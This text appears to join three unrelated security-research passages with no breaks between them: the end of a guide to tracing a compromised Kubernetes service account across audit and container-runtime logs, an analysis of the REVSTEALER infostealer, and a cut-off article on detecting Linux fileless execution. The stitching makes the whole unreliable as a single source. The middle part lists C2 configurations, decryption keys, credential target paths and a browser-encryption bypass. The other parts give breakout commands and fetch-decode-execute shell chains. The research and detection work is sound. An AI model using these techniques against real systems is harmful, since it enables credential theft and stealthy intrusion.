3. Query Defend for Containers with those pod names and namespace. Match orchestrator.resource.name against the pod names and orchestrator.namespace against the namespace, using the same time window as the audit activity.

Each step is expanded below with the queries we ran.

Kubernetes audit carries the API principal in user.name (and kubernetes.audit.user.username), for example system:serviceaccount:<namespace>:<sa>. On a D4C process event, that K8s principal isn’t present as user.name, and user.id is the Linux user ID inside the container (for example, 0 when the process runs as root). There are different mappings from different integrations, so even when both documents expose a field by the same name, the value reflects that data source’s schema, which isn’t always a 1:1 correlation.

A good approach is to timeline the suspicious service account in audit. This shows what that principal did and which objects it touched:

Or as Elasticsearch Query Language (ES|QL), keeping the fields that matter for the next hop:

In the service account timeline results, look at kubernetes.audit.verb, objectRef.resource, objectRef.subresource, orchestrator.namespace, and objectRef.name for what was touched.

Collect pod names from the objects that SA touched. For pod creates and execs, the pod sits in kubernetes.audit.objectRef.name, the namespace in orchestrator.namespace, and the verb in kubernetes.audit.verb, and exec shows up as kubernetes.audit.objectRef.subresource: exec (with objectRef.resource: pods). Filter the same SA timeline to create and exec activity when you only want pod targets:

Query D4C with those pod names and the shared namespace. Use the namespace and pod names you collected (and the same time window as the audit activity):

If more than one service account creates or execs into the same pod in that window, D4C on that pod name shows shared runtime context, not a clean attribution back to a single SA.

Namespace and pod name work in the other direction too. Starting from a Defend for Containers process event, take orchestrator.namespace and orchestrator.resource.name and search Kubernetes audit logs for that pod in objectRef to recover create, exec, and related API activity.

Context fields that make the joined events readable

Join keys get you onto the right documents. Context fields usually exist on only one data source and add the detail you need to read those documents. We use several of them in the lab that follows.

Context fields in Kubernetes audit logs

Field

Why it matters

user.name / kubernetes.audit.user.username

Identifies the API principal (human user, service account, or system component)

kubernetes.audit.user.groups

Identifies group membership for the principal (for example service account groups)

user_agent.original

Shows which client made the request; unusual clients on a workload identity are often worth a closer look

kubernetes.audit.verb + objectRef.resource / objectRef.subresource

Describes what was attempted against which Kubernetes object type

kubernetes.audit.requestURI

Adds request detail beyond verb and objectRef; for exec, the decoded URI includes the command list

kubernetes.audit.requestObject.spec.*

Exposes the submitted object spec (security context, volumes, and similar) when you need to judge how sensitive a create or update was

source.ip / kubernetes.audit.sourceIPs

Shows where the API call came from (node, pod network, or external client)

event.outcome / kubernetes.audit.annotations.authorization_k8s_io/decision

Distinguishes successful/allowed versus failed/forbidden API calls via native K8s authorization

kubernetes.audit.responseStatus.reason

Describes the reason for a failed API request

Context fields in Defend for Containers

Field

Why it matters

process.name and process.args

Shows what’s executed inside the container and with which arguments; minimal images often use wrappers which put the executed process details in process.args (including the process name), so use both fields

process.interactive

Flags interactive sessions; often useful next to audit pods/exec, and used by some sequence joins

file.path

On file events, shows which path was touched (for example, a projected service account token or certificate authority [CA] file)

container.security_context.privileged

Shows whether the container ran privileged; useful to cross-check a sensitive audit pod create

orchestrator.resource.name / orchestrator.namespace

Tie the runtime event to a specific pod and namespace

host.name

Identifies which node the workload ran on

container.id / container.name

Narrow activity to a specific container when a pod has more than one

event.category / event.action

Point you at the right activity type (process versus file) and what operation occurred

Lab scenario: Tracing a compromised service account from audit logs to runtime

In our EKS lab, we ran a compromised workload service account through discovery, secret access, a privileged breakout create, exec, and cloud metadata probes. That traffic is attributed as an SA without the caller pod-name extra, so the following walkthrough uses the service-account / objectRef join and the context fields from above to move between Kubernetes audit and D4C.

Finding a suspicious service account in Kubernetes audit logs

We started on the K8s audit side, looking for workload identities whose clients didn’t look like normal controllers or app traffic. Most legitimate SA requests come from in-cluster components with familiar user agents. When a system:serviceaccount:… principal shows up with something like curl or python-requests, that can mean someone is driving the API with a stolen or projected token from a shell or a short script, rather than through the application’s usual client. That pattern doesn’t prove compromise on its own, but it gives us an identity and namespace to expand on. The same hunt works for other HTTP clients you may see on a stolen token (axios, undici, and similar). Treat user_agent.original as a lead, not proof. It’s easy to spoof. A curl session can send a legitimate-looking kubectl user agent, so a “normal” user agent doesn’t rule the identity out.

Using the audit context fields user.name and user_agent.original, we looked for SA principals (system:serviceaccount:…) paired with clients like python-requests/… or curl/….

We kept that service account and namespace for the rest of the example.

Timelining a suspicious service account's API activity

We timelined the SA and kept verb, object, user agent, authorization decision, and outcome in view:

Context fields did most of the work here. user_agent.original separated python-requests discovery from curl harvest. event.outcome separated forbidden recon from allowed secret gets. objectRef.resource / subresource showed TokenRequest (serviceaccounts + token) and later pods / exec.

From those same rows, we also collected pod names where objectRef.resource was pods. One name was the original workload pod already running with that SA (the foothold). A later create event named a second pod, which is the breakout that we explore next.

Spotting the privileged pod create behind a container escape

In the same timeline, a kubernetes.audit.verb: create on objectRef.resource: pods named a new breakout pod. The creation alone is interesting; the audit-only fields on requestObject.spec are what showed how sensitive it was. That document had hostPID, hostIPC, a privileged security context, and a hostPath mount to /, still attributed to the same workload SA and curl user agent that had been reading secrets.

That same document also carried the pod create → use join into D4C. objectRef.name and objectRef.namespace are the pod and namespace we query on the runtime side next.

Querying container runtime data with pod names from the audit timeline

The service account timeline gave us two pod names: the foothold pod and the breakout pod. We queried Defend for Containers for both:

On the foothold pod, process context showed a projected-token read:

On the breakout pod, process context showed cloud instance-metadata clients were queried:

Why nsenter and chroot never reach container runtime events

On the breakout pod, we also ran a lab-safe host breakout attempt through pods/exec: nsenter -t1 -m -u -n -i true and chroot /host true. The true processes are no-ops, so the session doesn’t do anything destructive. In a real breakout, the same wrappers usually target a shell or follow-on tool, for example nsenter … /bin/bash or chroot /host /bin/sh.

We went back to the D4C process events for that breakout pod looking for nsenter and chroot next to the metadata activity. On runtime events, we read process.name and process.args together. Those wrapper names weren’t there. D4C showed process.name: true and process.args: true instead, matching the true targets in our lab commands. nsenter and chroot only set up the breakout and then hand off to that target. After the handoff, runtime records that target command, which here was true. Even with both fields, the wrappers never made it into D4C, so we turn to Kubernetes audit next.

K8s audit and D4C answer different questions on the same breakout. The same SA’s pods/exec events carry the full command list in kubernetes.audit.requestURI. Decoding that URI showed nsenter and chroot against the breakout pod (the API-level breakout tools), while D4C showed what actually ran in the container after those wrappers and what that session did next.

Conclusion

We’ve covered the core of unified container visibility: bridging Kubernetes audit logs with Defend for Containers telemetry. Plus, we’ve explored the two primary ways to join these datasets; that is, using pod-caller identity for direct attribution or service account and objectRef mapping for broader investigations. And we’ve demonstrated how context fields like user_agent.original or decoded requestURI parameters turn those joined events into clear, actionable attack timelines.

Kubernetes audit and D4C remain two halves of the same picture: the API on one side, what ran inside the container on the other. Know which fields actually join them and which one-sided context fields still change how you read an investigation. Two joins cover most cases: caller identity when the pod-name extra is on the audit event, and service account plus objectRef pod names when the call is attributed only as a service account. Fields such as requestObject.spec, a decoded exec requestURI, and user_agent.original won’t join the two data sources by themselves, but they’re often what makes the joined documents actionable.

What next?

Now that you have the mapping foundation, the best way to operationalize these techniques is to test them against your own environment's telemetry. Start by implementing the queries we walked through in our lab scenario to identify suspicious service account activity, and then pivot to D4C to verify the actual runtime impact. For a shortcut, explore our prebuilt rules tagged Data Source: Elastic Defend for Containers and Data Source: Kubernetes, which serve as ready-to-use examples of these join patterns in action.

You can browse the same detection content in the detection-rules repository or our rules explorer page.

Gen Threat Labs first covered REVSTEALER earlier this summer, detailing its core features. In this research publication, we will walk through how it’s distributed, cover its main features, and share observed infrastructure. For readers who prefer more in-depth technical details on the malware, we are also releasing a whitepaper covering the family. We are also releasing an IDAPython string decryption script for anyone working with samples directly.

The white paper is located here and contains an in-depth analysis of REVSTEALER and REF2859.

Key takeaways

• Large volume of samples (~4700) on VirusTotal over the past year, with varied submission context
• Comprehensive stealer component targeting browsers, VPN/chat applications, password managers, gaming platforms. Includes ABE debugger-based bypass.
• Weighted anti-analysis checks (sandbox scoring system)
• EtherHiding - Polygon-based dead drop for resilient infra swapping
• Tasking delivers four modules, not previously documented publicly
• Widespread use of VMProtect packer in most REVSTEALER samples; unpacked samples display a verification prompt similar to LummaStealer and AuraStealer

Attack vector

Gen Threat Labs documented REVSTEALER reaching victims through a social-engineering path targeting gamers by advertising free cheats and mod menus. Building on this reporting, we identified at least 17 YouTube channels promoting the two related domains elitecheatsx[.]live and resight-cheats[.]net.

In the campaigns we observed, this took the form of YouTube account takeovers. Existing channels with established subscriber bases were hijacked and used to post short (1–2 minute) AI-generated videos demonstrating the "cheats" and linking viewers to the malicious sites.

The game-cheat campaign is only one observed presentation. Related VirusTotal submissions used names and file metadata that impersonated unrelated, recognizable software, including Slack, qBittorrent, Steel Series GG, Blender, and many more. This breadth suggests the builds are packaged for multiple lure themes, not just gaming-focused campaigns. We also ran a Retrohunt with our YARA rule, which returned about 4,700 matching samples across VirusTotal’s database over the past year.

Many of the samples we analyzed were packed with VMProtect, but the malware code was mostly recoverable through memory dumping.

Features

Development

Across its design, REVSTEALER reflects a developer building for long-term operational use. The malware incorporates features such as self-deletion, indirect syscalls, API hashing, string encryption, mechanisms to avoid user-mode hooks, and custom exception handling.

Unlike most commodity stealers, REVSTEALER seems to put more effort into validating its targets; this is evident in its cryptocurrency wallet harvester, which uses a multi-layer architecture with a discovery engine followed by a collector that applies wallet-specific extension filters to extract only relevant files.

CIS exclusion checks

Before REVSTEALER qualifies the victim machine, it first checks the machine's default/system languages and keyboard layout using a custom FNV-1a hash lookup. It retrieves each value from the machine, hashes it, and compares it against an embedded table of precomputed values representing the Commonwealth of Independent States (CIS) locales. If any of these three checks match, the malware terminates.

Sandbox scoring system

To determine whether the malware is running in a genuine environment, REVSTEALER integrates a custom sandbox scoring system using ten checks. Each check assigns a specific number of points based on sandbox characteristics such as low total physical RAM or CPU core counts.

If the total score is 7 or higher, the malware determines the machine is likely running in a sandbox environment and then self-terminates.

The following checks are used in this feature:

• Process Blocklist (Type 0)
• CPU Core Count (Type 1)
• RAM Threshold (Type 2)
• GPU / PCI Vendor Check (Type 3)
• Username / Computer Name Blocklist (Type 4)
• System Uptime (Type 5)
• Sleep / Timing Check (Type 6)
• Media Foundation Check (Type 7)
• CPUID Check (Type 8)
• Virtualization Check (Type 9)

Several of these checks hash values such as process names or usernames using a custom FNV-1a hash algorithm and compare the result against an embedded table. This method ensures no plaintext strings appear in the binary and prevents static analysis tools from seeing them.

Credential harvesting

REVSTEALER targets browser credentials and cookies, cryptocurrency wallets, and browser extensions. This includes 225 Chromium extension identifiers spanning cryptocurrency wallets and password managers, alongside 51 standalone wallet applications. It also collects data from messaging clients, gaming platforms, VPNs, FTP clients, OBS Studio, Windows Sticky Notes, and 2FA applications, along with selected documents and configuration files from user directories and non-system drives.

REVSTEALER’s Chromium support includes an implementation for bypassing App-Bound Encryption. To obtain the App-Bound key, it launches a browser process under debugger control, locates code associated with App-Bound decryption, and sets a nearby hardware breakpoint. When the breakpoint triggers, the malware reads the decrypted key directly from the browser’s memory. The implementation was likely influenced by the public ElevationKatz project (under ChromeKatz).

Payload watermarking

The developer places a 16-byte watermark at the end of raw payloads and validates it at runtime. Packed builds do not trigger the check because the watermark is no longer located at EOF. When a watermarked raw copy is launched, a verification window requires the user to enter a random six-character token in order to proceed with execution. This discourages distribution of unprotected payloads while also hindering sandbox analyses. Similar techniques have been observed in Lumma Stealer and AuraStealer.

Polygon dead drops as fallback

Each REVSTEALER build contains a primary C2 address and a Polygon smart-contract address. If the primary server is unavailable, REVSTEALER queries up to 5 public Polygon JSON-RPC endpoints, reads data from the contract, and decrypts a fallback C2 address using an embedded AES key.

Below are examples of extracted C2 hosts and Polygon dead drop configurations from three REVSTEALER samples with different themes.

Sample sha-256: 8b33e0f32c42a317e3d9cd67d5a6dc68e91a6cf9dd44742162858e7d83cf2073
File Name: SteelSeriesGG.exe
Configuration(c2=b'polygon.iwmukj[.]xyz:443', polygon_contract_address=b'0x7e4126ADFE6679B3613F629CD49162Fb08fc53Bd', contract_function_selector=b'0xdbefdad6', contract_return_aes_key='f07666ac22dfa1a361b8a8576baf69eadaf15431db9f3c34e93334d8d2f8d691')

Sample sha-256: bd97d5cab2d09b001d1b9e08890bce1a2b2cf8542a4b31c86b2def59328cafb2
File Name: slack.exe
Configuration(c2=b'polygon.mnyhgxda[.]xyz:443', polygon_contract_address=b'0x0EC6a6D31b36271eBD06450EA98c84eBa8a191d5', contract_function_selector=b'0xd21368b4', contract_return_aes_key='5c30efd5b9ff75023c3813705f5c47feccc496f439b24b3e572db4c3b08dffe3')

Sample sha-256: 1617552169df805405b1bb70f742d6eac5af342f31c6e39ff6b9613bd2392354
File Name: qBittorrent.exe
Configuration(c2=b'static4.livelab[.]one:443', polygon_contract_address=b'0x49cE5712164755ed212209bc71539bBc6fCFF541', contract_function_selector=b'0x071258c6', contract_return_aes_key='83f5b4ca629681abab2b9680472a304572a8c91b4a8ccc1189fbf58c6186db09')

Looking up one of the contract addresses on OKLink, there is an initial transaction to create a Polygon contract (bytecode prefix 0x60806040), initialized with an encrypted fallback C2 endpoint.

Victim profiling

Before any stealing components are launched, REVSTEALER profiles the victim machine, collecting the following data:

| Name | Note | | :---- | :---- | | System/OS info | Current timestamp, machine fingerprint, system locale, CPU info, RAM, Windows OS version, GPU name, host name, username, token integrity of user, timezone, keyboard layout, screen resolution | | Environment variable dump | Uses GetEnvironmentStringsW to dump full environment block that can commonly hold sensitive material | | Process listing | Collects all running processes | | Installed applications | Collects all installed applications via Windows uninstall registry key path (SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall) | | Windows clipboard | Collects the latest clipboard data using OpenClipboard / GetClipboardData | | Screenshot capture | Captures a full screenshot of the victim machine |

Gaming platforms

REVSTEALER has a deliberate focus on gaming platforms, harvesting sensitive materials, authentication tokens, and session cookies from popular platforms such as Blizzard’s Battle.net, EA Desktop, and Steam, along with targeting specific games such as Roblox and Minecraft. Instead of broadly sweeping the entire victim machine, the malware targets file paths, looking for configuration/settings files for each platform/game. For some of these targets, such as Roblox, REVSTEALER uses CryptUnprotectData to decrypt the user’s session cookie, enabling full account takeover without the user’s password.

The following table lists the gaming targets and their paths:

| Platform/Game | File path | | :---: | ----- | | Battle.net (Blizzard) | %LOCALAPPDATA%\Battle.net\Battle.net.config | | Battlestate Games | %APPDATA%\Battlestate Games\BsgLauncher\settings | | Electronic Arts | %LOCALAPPDATA%\Electronic Arts\EA Desktop\*.ini | | Roblox | %LOCALAPPDATA%\Roblox\LocalStorage\RobloxCookies.dat | | Steam | %LOCALAPPDATA%\Steam\local.vdf, %LOCALAPPDATA%\Steam\loginusers.vdf | | Minecraft | %USERPROFILE%\intentlauncher\launcherconfig
%USERPROFILE%\.lunarclient\settings\game\accounts.json
%APPDATA%\.minecraft\TlauncherProfiles.json
%APPDATA%\.feather\accounts.json
%APPDATA%\.minecraft\meteor-client\accounts.nbt
%APPDATA%\.minecraft\Impact\alts.json
%APPDATA%\Badlion Client\accounts.json
%APPDATA%\.minecraft\launcher_accounts.json
%APPDATA%\.minecraft\launcher_profiles_microsoft_store.json |

Four follow-on modules delivered by C2 tasking

REVSTEALER can receive additional executable content through C2 tasks. We recovered four related, self-contained payloads that extend its capabilities beyond credential theft.

| Module | Capability | | :---- | :---- | | ProManager | Wallet-file and browser-extension theft, phishing overlays, password-aware input capture, and payload delivery | | WinUpdate | Cryptocurrency-address replacement and mnemonic-shaped clipboard theft | | SoftManager | Reverse SOCKS5 proxy and backconnect access over an encrypted WebSocket protocol | | LockAppHost | XMRig deployment, competitor suspension, and persistence |

Despite their distinct roles, all four REVSTEALER modules follow a common design pattern: obfuscated configuration, VMProtect-style protection, and Polygon smart contracts used as dead drops for replaceable settings, including C2 endpoints and XMRig’s command line.

REVSTEALER technical white paper

Elastic Security Labs presents a comprehensive technical analysis of REVSTEALER, covering its full capabilities, network communications, anti-analysis, sandbox scoring system, EtherHiding techniques, and follow-on modules.

You can find the technical white paper here.

String decryption script for REVSTEALER in IDA Pro

Using the nightMARE framework, our team is releasing an IDAPython script available for download here. This tool can place decrypted strings in the IDA Pro decompiler to help analysts pinpoint the malware’s functionality.

REVSTEALER and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Collection
• Command and Control
• Credential Access
• Discovery
• Execution
• Exfiltration
• Stealth

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Automated Exfiltration
• Clipboard Data
• Credentials from Password Stores: Credentials from Web Browsers
• File and Directory Discovery
• Indicator Removal: File Deletion
• Native API
• Screen Capture
• System Information Discovery
• User Execution: Malicious File
• Virtualization/Sandbox Evasion: Time Based Checks
• Web Service: Dead Drop Resolver

Detecting and preventing REVSTEALER

Detection rules for REVSTEALER

• Network Activity to a Suspicious Top Level Domain

Prevention rules for REVSTEALER

• Shellcode Execution from Low Reputation Module
• VirtualAlloc API Call from an Unsigned DLL
• Network Library Load via LdrLoadDLL
• DNS Query to Suspicious Top Level Domain
• Potential Evasion with Hardware Breakpoints
• Remote Thread Context Manipulation
• Potential Browser Information Discovery
• Suspicious Remote Process Suspend Activity
• Browser Process Spawned from an Unusual Parent

YARA rules for REVSTEALER

Elastic Security has created YARA rules to identify this activity.

• Windows.Trojan.RevStealer.yar

Observables and indicators of compromise

This research discusses the following observables.

All observables are also available for download.

| Observable | Type | Name | Reference | | :---- | :---- | :---- | :---- | | 4c897108e8e793d6904110928c996815c302d6975c9bc61162149e855a963d50 | SHA-256 | resightloader.exe | REVSTEALER Loader | | adc4aa652965396b52e79435ca54987ae9eb21bf5e67de5e9461b09655165ee4 | SHA-256 | | REVSTEALER | | 14b2ac356ed75d10ef40bbaaa48e7dd9fff7de9719c2a43ad123fe843dd4e4e2 | SHA-256 | SoftManager72fb40.exe | SoftManager | | 7c08cf409194056a8517865e5d3433d1499bb8262263b55b49b8b07d9d182fcb | SHA-256 | WinUpdate60e3a3.exe | WinUpdate | | 13d7237d7289e67c2d806a65d52580b453ce4987acbe2c4c4d04833f55ebccfa | SHA-256 | ProManagerServicedc894.exe | ProManager | | c66d2b77b9e85c53391891212413ad9a99eb66f4b11c6a431e78884a5b2651e5 | SHA-256 | LockAppHost14a02b.exe | LockAppHost | | monitor5.roast-core85[.]click | domain-name | | REVSTEALER C2 server | | config.hubdisplay[.]lol | domain-name | | ProManager C2 domain | | health.journal-metric[.]lol | domain-name | | WinUpdate C2 domain | | metric.gardenpark[.]click | domain-name | | SoftManager C2 domain | | 0x98FF8e7cdC13AE46b83B7590B986F25f1560DF03 | Wallet address | | ProManager Polygon contract address | | 0x0cF1Ec8B9551103de729c3b02D77221Da9d81Acc | Wallet address | | WinUpdate Polygon contract address | | 0x0E04c59f31E382D2B8A1637f4B9A5f04165EC48d | Wallet address | | SoftManager Polygon contract address | | 0xC4eC9B7be1c2A0B39Eca678673DcB9164CA5df53 | Wallet address | | LockAppHost Polygon contract address |

References

The following were referenced throughout the above research:

• Gen Threat Labs REVSTEALER coverage on X

In our own analysis of VoidLink, we observed how fileless execution can be paired with a rootkit. The loader scans for processes running from memfd and passes their PIDs to the rootkit, allowing an already running fileless implant to be hidden immediately after activation. Socket’s research into a malicious PyPI package impersonating SymPy, named sympy-dev, showed the execution side of this tradecraft, using memfd_create and /proc/self/fd/<fd> to execute a downloaded Linux ELF payload from an anonymous memory-backed file descriptor. Trend Micro’s research into Quasar Linux reflects the same broader shift.

The process of building these payloads is also getting simpler. Large language models (LLMs) make it easier to prototype loaders and combine primitives such as memfd_create, /proc/<pid>/fd, encryption, compression, and runtime execution. Our Global Threat Report highlights how adversaries are already using AI to lower the barrier to entry for cybercrime, including the generation of simple but effective malicious loaders and tools.

From a detection engineering perspective, the key point is that memfd-based fileless execution doesn’t mean invisible execution. These payloads may avoid a durable executable on disk, but they still depend on observable behavior: creating an anonymous memory-backed file and writing an ELF payload into it, and then executing it through a file descriptor.

Starting with Elastic Security 9.4.0, Elastic Defend records process events for memfd_create on Linux (kernel 5.10.16+ required for eBPF-based event sourcing), improving visibility into one of the core primitives behind modern fileless ELF execution. Additionally, visibility for loadable kernel module activity was implemented by reporting init_module and finit_module-based loads through the load_module event action on process events.

In this publication, we’ll break down how fileless execution works on Linux and reproduce common approaches through proofs of concept (PoCs). We’ll also map the resulting behavior to detection opportunities using Elastic Defend telemetry.

What is fileless execution on Linux?

Before diving into specific techniques, it’s important to define what fileless actually means on Linux. The term is often used broadly, but the underlying techniques aren’t all the same. Some payloads are truly backed by anonymous memory, and some are reconstructed at runtime by a script or interpreter. Still others briefly touch disk before being deleted.

To understand these techniques, we first need to cover a few Linux building blocks.

How Linux file descriptors work

On Linux, processes interact with files, sockets, pipes, devices, and many other resources through file descriptors. A file descriptor is simply a numeric handle that refers to an open resource inside a process. Standard input, standard output, and standard error are usually file descriptors 0, 1, and 2, but a process can open many more.

For example, when a process opens a file, the kernel returns a file descriptor such as 3 or 4. The process can then read from it, write to it, map it into memory, or pass it to another process, depending on how it was opened and what type of object it represents.

How processes execute through /proc/<pid>/fd

Linux exposes process information through the proc filesystem. One useful part of this is /proc/<pid>/fd/, which contains references to the open file descriptors of a process. For example, /proc/1337/fd/3 refers to file descriptor 3 in process 1337. The special path /proc/self/fd/3 refers to file descriptor 3 in the current process. In other words, self is a shortcut for “this process.”

What memfd_create does

One of the most important primitives behind Linux fileless execution is memfd_create. This system call creates an anonymous memory-backed file and returns a file descriptor to it. The object doesn’t have a normal path on disk, but it can still behave like a file; that is, a process can write bytes to it, resize it, map it into memory, and reference it through procfs paths, such as /proc/<pid>/fd/<fd>.

This makes memfd_create useful for fileless execution because a payload can be stored and executed through a file descriptor rather than a conventional filesystem path. We’ll go deeper into this pattern in a later section. 

Deleted executables that keep running

Not all fileless execution is truly memory-only. Another common pattern is deleted-file execution. In this case, a payload is written to disk and executed. It’s then removed, while the process keeps running.

For example, a running process may expose /proc/1337/exe -> /tmp/payload (deleted) through /proc/<pid>/exe.

The original file is gone from the filesystem, but the process is still running from it. This isn’t the same as memfd execution, but it’s often grouped under fileless or semi-fileless tradecraft because the durable file artifact has been removed.

Interpreters and runtime staging

Fileless execution can also happen without a standalone ELF payload. Attackers may use shell, Python, Perl, or another interpreter to download, decode, decrypt, decompress, and execute logic directly at runtime.

For example, a simplified chain may look like curl → base64 -d → openssl → gzip -d → bash or python -c '<download, decode, execute logic>'. In these cases, the detection focus shifts away from executable files and toward process lineage, command-line behavior, network activity, suspicious pipelines, and interpreter abuse.

Five types of Linux fileless execution

For this publication, we’ll use “fileless execution” as an umbrella term for execution patterns where the final payload doesn’t exist as a normal, durable executable on disk at the time defenders inspect the system.

Type

Meaning

Example

Anonymous memory-backed execution

The payload exists in a memfd or anonymous file descriptor rather than as a normal file on disk.

memfd_create → write ELF → execute via /proc/self/fd/<fd>

Interpreter-backed execution

The malicious logic runs through an interpreter without a standalone ELF payload.

bash, python, perl, or sh one-liners

Fileless staging

A loader exists on disk or in a script, but the final payload is reconstructed, decoded, decrypted, or decompressed at runtime.

curl/ wget → base64 / openssl / gzip → execute

Deleted-file execution

The payload existed on disk but was unlinked after execution, while the process kept running.

/proc/<pid>/exe -> /tmp/payload (deleted)

Fileless loadable kernel module loading

Kernel module bytes are loaded from memory, a file descriptor, or another transient source.

memfd_create → module bytes → init_module / finit_module

These different classes are important to understand as they require a different approach to detection engineering. A memfd-backed payload may avoid a durable file artifact, but it still relies on observable behavior: creating an anonymous file descriptor and writing executable content into it, along with executing through a descriptor-based path. A deleted executable may disappear from disk, but the running process can still expose traces through /proc/<pid>/exe. An interpreter-backed payload may never create an ELF file, but it still leaves process lineage, command-line, network, and runtime behavior.

Each of the following sections will go deeper into one of these approaches and show one or more PoCs. They’ll also map the resulting behavior to Elastic Defend telemetry and detection opportunities.

memfd_create fields in Elastic Defend

From Elastic Security 9.4.0, Elastic Defend records a process event when a process calls memfd_create, the syscall that creates an anonymous memory-backed “file” and returns a file descriptor. That call is often the first clear step in memfd-based fileless ELF execution, before the payload is written and executed through /proc/self/fd/<n> or an exec syscall on the fd. An example event with the relevant fields highlighted is displayed below:

The extension fields under process.Ext.memfd mirror the syscall arguments. process.Ext.memfd.name is the name passed to memfd_create(). It isn’t a path on disk; the kernel uses it for identification in /proc, where the fd often shows up as something like memfd:<name>. process.Ext.memfd.flags is the raw flags bitmask from the syscall. The Boolean fields flag_cloexec, flag_allow_seal, flag_hugetlb, flag_noexec_seal, and flag_exec decode that bitmask into the main options documented on the man page: MFD_CLOEXEC (close-on-exec on the new fd), MFD_ALLOW_SEALING (sealing allowed), MFD_HUGETLB (huge-page backing), and on Linux 6.3+, MFD_NOEXEC_SEAL and MFD_EXEC for non-executable versus explicitly executable memfds when vm.memfd_noexec policies apply.

Together with process and parent process context, these fields make the memfd creation step queryable for hunts and sequences (for example, download → memfd_create → exec), without relying only on later /proc/self/fd paths in child processes.

Linux fileless execution patterns

In the following sections, we walk through the main Linux fileless execution patterns from a detection engineering perspective. For each one, we summarize how the technique works in the wild and tie it to public research or open-source tooling, where possible. We also reproduce the resulting behavior in a controlled lab so it can be mapped to Elastic Defend telemetry.

Reproducing fileless execution patterns with FENIX

To keep comparisons fair, we use Fileless Execution for NIX (FENIX), a lab-only framework of small C helpers, benign sample payloads, and a command-line interface (CLI) that implements the same syscall chains described in malware write-ups. A brief overview of the framework is displayed below:

 The typical workflow is as follows:

For bulk coverage testing, fenix run-all runs a matrix of techniques in one pass (lab matrix docs). In this publication, we highlight one representative command per pattern; you can correlate the resulting events in Kibana and extend runs with fenix info <technique> for variants (fexecve, execveat, --fchmod, and others).

Anonymous memory-backed execution with memfd_create

Anonymous memory-backed execution is the most direct form of memfd-based fileless execution. Instead of writing an ELF payload to /tmp, /dev/shm, or another filesystem location, a loader creates an anonymous memory-backed file and writes the ELF bytes into the returned file descriptor. It then executes that descriptor through procfs.

The core primitive is small. The following snippet omits error handling and setup code but shows the essential flow:

The important detail is that the payload isn’t executed from a conventional filesystem path, such as /tmp/payload or /usr/bin/payload. Instead, execution is routed through a file descriptor that points to an anonymous memory-backed file. This removes the durable executable artifact from disk, but it doesn’t remove the behavior. The loader still has to create the memfd and populate it with executable content, along with executing it through /proc/self/fd/<fd> or a related descriptor-based execution path.

In real-world loaders, the ELF bytes may come from many different sources. They may be embedded in the loader, downloaded from a remote server, decrypted at runtime, decompressed from an encoded blob, or received from another process. Those staging choices change the surrounding telemetry, but the execution pattern remains the same: anonymous file creation, payload write, and descriptor-backed execution. 

Executing a native ELF from a memfd

Native ELF execution via memfd is the pattern most often discussed in threat reports and PoC tooling. A small native binary (or injector) calls memfd_create() and copies an ELF into the fd. It then executes it. Socket’s analysis of the malicious sympy-dev PyPI package describes a Linux path that stages a downloaded ELF and runs it through memfd and /proc/self/fd/. The same building blocks appear in public research code, such as fileless-elf-exec (fee), fireELF, and classic write-ups on in-memory-only ELF execution. Malware development blog posts, such as “In-Memory-Only ELF Execution (Without tmpfs)” and “Linux Malware Development: Fileless Execution with memfd_create and Python,” document the same sequence.

The exec step in FENIX’s helper matches the snippet above: memfd_create → write → execve on /proc/self/fd/<fd>:

To simulate this pattern, we can execute the following FENIX command:

FENIX prints the steps executed by this run and displays the “hello from fenix” message, indicating that the in-memory execution was successful. Looking at the documents generated by this run in Kibana:

Shows the most basic fileless execution sequence imaginable, the memfd_create()syscall, followed by the execution of a memory file descriptor named “memfd:fenix_payload”. Zooming in on the memfd_create document, we can see that we do have more fine-grained telemetry available via the process.Ext.memfd.* fields:

However, we won’t be digging deep into this, as most attack chains can easily be differentiated from benign activity through the use of process/parent relationships.

The main detection opportunities here are twofold:

1. Sequencing the memfd_create() syscall, followed by the execution of a memory file descriptor by the same process in a short time span.

2. Detecting the sole execution of a memory file descriptor, potentially through a suspicious parent process.

The main endpoint rules that trigger on this activity can be found here:

• Potential Fileless Execution Sequence

• Potential Memory File Descriptor Process Execution

• Memory File Descriptor Execution from Suspicious Process

Executing a script from a memfd

Attackers don’t always drop an ELF. The same anonymous fd primitive can hold script bytes (shell, Python, Perl, awk, and similar), which are then executed from memory. Public tooling and write-ups often combine download or decode stages with interpreter abuse; Perly Shells is a recent example of Perl-centric staging and memfd-style execution in that vein.

Two execution shapes matter for detection. In the shebang case, the loader writes a script that starts with #! into a memfd and calls execve on /proc/self/fd/<fd>. The kernel reads the shebang from the memfd-backed file and starts the named interpreter (for example, /bin/sh). In the explicit interpreter case, the loader calls execve on python, perl, or any other interpreter with similar functionality, with /proc/self/fd/<fd> as the script argument. FENIX uses an inheritable memfd (without MFD_CLOEXEC) for shebang runs, so the fd remains usable across that exec. If MFD_CLOEXEC is set, the file descriptor is closed during execve; for script/shebang-style execution, the descriptor often needs to remain inheritable so the interpreter can still read it. This matches how the pattern is implemented in the wild:

To simulate the shebang path with FENIX:

In Kibana, the timeline differs from native ELF-in-memfd; you still see memfd_create on fenix-memfd-script-exec, but the follow-on exec shows the interpreter from the shebang (rather than the helper binary) executing the file descriptor (payload) directly.

When trying to cover this flow, we need to be aware of the fact that passing file descriptors via process arguments is a common, benign activity. Inherited FDs, pipes, sockets, containers, build tooling, shells, and runtimes that pass an already open FD path may trigger on the exec event. For this reason, a detection focusing on the entire chain (memfd_create → exec process relationship) is preferred. 

It’s important to be aware of the main variations of this flow. As we’re dealing with interpreters for the execution, we must scope the detection logic appropriately and try not to miss any highly targeted living-off-the-land binaries (LoLbins). For example, if we want to execute the same payload via awk, we can:

Using awk modifies the telemetry only slightly:

But it does show that we need to be careful about restricting the exec process entries too much when crafting detection logic that isn’t prone to FPs and isn't brittle to trivial in-the-wild bypasses.

The important detection lesson is the relationship between anonymous file descriptor creation and a capable interpreter consuming /proc/self/fd/<fd> as executable input, not the specific interpreter. Whether the script is handled by sh, python, perl, awk, or another interpreter, the defensive anchor remains the same; that is, a memfd-backed script is created and then consumed through a descriptor-backed execution path. 

The detection logic we crafted for this flow looks as follows:

